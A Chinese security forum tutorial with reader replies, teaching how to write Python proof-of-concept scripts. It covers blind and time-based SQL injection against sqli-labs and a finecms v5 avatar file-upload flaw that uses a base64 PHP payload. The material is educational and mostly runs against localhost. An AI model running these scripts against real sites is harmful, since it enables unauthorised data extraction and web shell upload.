用户
搜索
回帖奖励 90 魔法币 回复本帖可获得 6 魔法币奖励! 每人限 1 次(中奖概率 40%)
  • TA的每日心情
    奋斗
    前天 11:40
  • 签到天数: 195 天

    连续签到: 11 天

    [LV.7]常住居民III

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    73

    主题

    2271

    帖子

    9203

    魔法币
    收听
    0
    粉丝
    98
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-1-1 17:54:41 3732748
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:
    https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96
    目录:
    2x03 注入类POC编写(中)

    2x04 注入类POC编写(下)

    2x05 文件上传类POC编写(上)

    2x03 注入类POC编写(中)
    这里选用的是sqli-labs的第五关
    源码下载地址:https://github.com/Audi-1/sqli-labs
    这一小节讲的是布尔盲注的POC编写不要在意题目名字(双查询注入),咱们演示的是布尔型盲注
    关于双查询注入的解题过程,论坛里有,自己找找吧
    先简单的复现一下
    跑个数据库名长度
    [AppleScript] 纯文本查看 复制代码
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=1)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=2)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=3)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=4)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=5)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=6)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=7)--+
    http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=8)--+

    在http://localhost/SQLdemo2/Less-5/?id=1' and (length(database())=8)--+得到You are in
    9.jpg
    当然了,这一切,也可以用Python来实现
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    
    import requests
        
    url = 'http://localhost/SQLdemo2/Less-5/?id=1'
    db_length = 0
    i = 0
    for i in range(1,20):
            payload = '''' and (length(database())=%d)--+''' %i
            r = requests.get(url+payload)
            if "You are in" in r.text:
                    db_length = i
                    print "Current_db_length:%d"%db_length

    10.jpg
    然后猜解下数据库的名字吧
    用(left(database(),1)='*')
    他的意思就是在数据库名中从左往右取一个字符,判断该字符是否等于*(*表示ASCII表中的每个字符)
    写个脚本跑一下
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    
    import requests
        
    url = 'http://localhost/SQLdemo2/Less-5/?id=1'
    db_length = 0
    db_name = ''
    i = 0
    j = 0
    for i in range(1,20):
            payload = '''' and (length(database())=%d)--+''' %i
            r = requests.get(url+payload)
            if "You are in" in r.text:
                    db_length = i
                    #print "Current_db_length:%d"%db_length
    for i in range(1,db_length+1):
            for j in range(95,123):
                    payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
                    r = requests.get(url+payload)
                    if "You are in" in r.text:
                            db_name += chr(j)
    print "Current_db_name:\n[+]",db_name

    11.jpg
    chr()是Python中的内置函数
    [Python] 纯文本查看 复制代码
    >>>help (chr)
    chr(...)
        chr(i) -> character    
        Return a string of one character with ordinal i; 0 <= i < 256.

    参数是0 - 256 的一个整数,返回值是当前整数对应的ascii字符。参数可以是10进制也可以是16进制的形式
    然后是那些老套路了,我也懒得写了
    回到正题,写POC
    刚才写的可以算是EXP了,POC关键是验证漏洞存在
    SO,只要输入相应的payload,页面存在差异即为存在漏洞在这里呢,如果所查询的用户id在数据库中,可以发现页面显示”You are in”,若不存在则不显示,咱们可以根据这个来写POC
    http://localhost/SQLdemo2/Less-5/?id=1结果为真
    http://localhost/SQLdemo2/Less-5/?id=-1结果为假
    12.jpg
    然后就直接简单粗暴的编写POC环节了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    
    import requests
    
    def POC(url):
            payload = ['1','-1']
            v = requests.get(url).headers.get('Content-length')
            v1 = requests.get(url+payload[1]).headers.get('Content-length')
            v2 = requests.get(url+payload[0]).headers.get('Content-length')
            if v == v1 and v1 != v2:
                    return True
            else:
                    return False
    
    if __name__ == '__main__':
            a = POC('http://localhost/SQLdemo2/Less-5/index.php?id=')
            print a

    大概就这么简单吧,有点基础的就能看懂吧
    13.jpg

    2x04 注入类POC编写(下)

    这小节我们来说延时注入
    这次呢,我没找到好的cms演示,就还是用sqlilabs的演示吧
    这次用第九关演示吧咋说呢,这个很简单吧,就是加了个sleep()函数
    还是只演示到猜解数据库名
    直接贴脚本了,毕竟这不是本文的重点,本文重点是POC的
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    import requests
    import time
    url='http://localhost/SQLdemo2/Less-9/index.php?id=1'
    db_length = 0
    db_name = ''
    i=j=0
    start_time=time.time()
    for i in range(1,20):
            payload='''' and if(length(database())=%d,sleep(5),1)--+''' %i
            start_time=time.time()
            r=requests.get(url+payload)
            if time.time() - start_time > 5:
                    db_length=i
                    print "Current_db_length:%d" % db_length
                    break
    for i in range(1,db_length+1):
            for j in range(95,123):
                    payload='''' and if(left(database(),%d)='%s',sleep(5),1)--+''' %(i,db_name+chr(j))
                    start_time=time.time()
                    r=requests.get(url+payload)
                    if time.time()-start_time>5:
                            db_name=db_name+chr(j)
    print 'Current_db_name:\n[+]',db_name

    14.jpg
    POC的编写应该很简单吧先说下他的原理吧,其实也很简单
    payload:' and sleep(5) %23
    不加payload响应时间是
    15.jpg
    加上payload会延时5s
    16.jpg
    根据这个咱们就可以写POC了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    import requests
    import time
    
    def POC(url):
            payload = "' and sleep(5) %23"
            start_time = time.time()
            requests.get(url+payload)
            end_time = time.time()
            if end_time - start_time > 5:
                    return True
            else:
                    return False
    if __name__ == '__main__':
            a = POC('http://localhost/SQLdemo2/Less-9/index.php?id=1')
            print a

    差不多就这么简单。。。。。


    2x05 文件上传类POC编写(上)
    咱们先要了解这个漏洞
    漏洞有很多,这里我找了几个,大概看看吧
    渗透测试方法论之文件上传!—蜂巢网安-天天
    文件上传总结
    关于这类漏洞,我大概不会用太多的篇幅。。。

    进入正题:
    这次我选用的是finecms v5的文件上传漏洞
    漏洞分析:请戳:关于finecms v5 会员头像 任意文件上传漏洞分析
    咱们先进行漏洞复现吧
    先注册账号,在会员头像上传处
    上传个图片时抓包
    [AppleScript] 纯文本查看 复制代码
    POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
    Host: localhost
    Content-Length: 106
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://localhost
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://localhost/index.php?s=member&c=account&m=avatar
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: __guid=111872281.1617071225746359600.1514021210290.158; ver=free; passinfo=%E5%85%8D%E8%B4%B9%E7%89%88+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%2Fservice_1.html%22+target%3D%22_blank%22%3E%3Cfont+color%3D%22green%22%3E%28%E8%B4%AD%E4%B9%B0%E6%8E%88%E6%9D%83%29%3C%2Ffont%3E%3C%2Fa%3E; UM_distinctid=160889af2500-062927d1d2a474-5d4e211f-1fa400-160889af251640; CNZZDATA80862620=cnzz_eid%3D600104656-1514116496-%26ntime%3D1514116496; bdshare_firstime=1514120344522; PHPSESSID=93425c5800b892d1625a7e2772e0cc93; AJSTAT_ok_times=1; __tins__4329483=%7B%22sid%22%3A%201514648644160%2C%20%22vd%22%3A%2012%2C%20%22expires%22%3A%201514650918749%7D; __51cke__=; __51laig__=12; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=09h5384m4hsa6rpal4pfjkbdbj1q38ta; member_uid=3; member_cookie=97b9bfd093f30bfd333d; monitor_count=173
    Connection: close
    
    tx=data%3aimage%2fjpeg%3bbase64%2cRXhwMW9yZTw%2fcGhwCiBwaHBpbmZvKCk7IAo%2fPg%3d%3d
    


    然后修改post数据,将jpeg改为php
    然后你会看到,若源码中存在status存在即为存在漏洞
    18.jpg
    然后就可以找到传入文件地址了
    17.jpg
    看了这个过程,相信你大概明白了他的验证过程了吧

    我写下这个POC的验证大概思路吧
    先是注册账号,然后是登陆账号,然后就是载入payload了
    我直接贴代码吧,很简单吧
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*
    
    import random
    import requests
    
    def POC(url):
        username=random.randint(0,999999)
        register_url=url+"/index.php?s=member&c=register&m=index"
        register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":"admin@admin.com"}
        login_url=url+"/index.php?s=member&c=login&m=index"
        login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}
        vul_url=url+"/index.php?s=member&c=account&m=upload"
        vul_payload={"tx":"data:image/php;base64,RXhwMW9yZTw/cGhwCiBwaHBpbmZvKCk7IAo/Pg=="}
        s = requests.session()
        res=s.post(register_url,data=register_payload)
        result=s.post(login_url,data=login_payload)
        result2=s.post(vul_url,data=vul_payload).content
        if "status" in result2:
            return True
        else:
            return False
    
    if __name__ == '__main__':
            a = POC('http://localhost')
            print a

    19.jpg
    很简单嘛,差不多就是这些套路

    本集完


    元旦节快乐







    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    发表于 2018-1-30 17:13:28
    我真的有见过别人用python的源码改成powershell的
    所以这些知识我也会先吞起来慢慢消化的。
    使用道具 举报 回复
    我真的有见过别人用python的源码改成powershell的
    所以这些知识我也会先吞起来慢慢消化的。
    使用道具 举报 回复
    学习了,虽说用到什么百度什么,但还是要记点东西
    使用道具 举报 回复
    发表于 2018-1-15 22:38:53
    用python写一个分析脚本都要了我的命
    破解的目的是为了更好的开发
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    学习了  感谢分享 谢谢
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    学习大神操作,早日变秃变强
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    一直以为python就是shell
    使用道具 举报 回复

    回帖奖励 +6 魔法币


    非常感谢分享,学习一下!
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    沙发 可以 学习了
    使用道具 举报 回复
    沙发沙发,学习了
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    沙发沙发,学习了!!
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    向大神低头,学习了
    使用道具 举报 回复
    发表于 2018-1-1 23:58:54

    回帖奖励 +6 魔法币

    程序员脱发算工伤吗
    使用道具 举报 回复
    发表于 2018-1-2 08:54:50
    66666666666
    使用道具 举报 回复
    发表于 2018-1-2 09:16:16
    感谢分享~~~~~~~~~~
    使用道具 举报 回复
    发表于 2018-1-2 17:06:17

    回帖奖励 +6 魔法币

    学习!!学习!!
    使用道具 举报 回复
    终于更新了。
    使用道具 举报 回复
    发表于 2018-1-3 13:27:53
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 2018-1-3 13:28:11

    回帖奖励 +6 魔法币

    我的魔法币
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 2018-1-3 23:11:01

    回帖奖励 +6 魔法币

    感谢,已经收藏
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册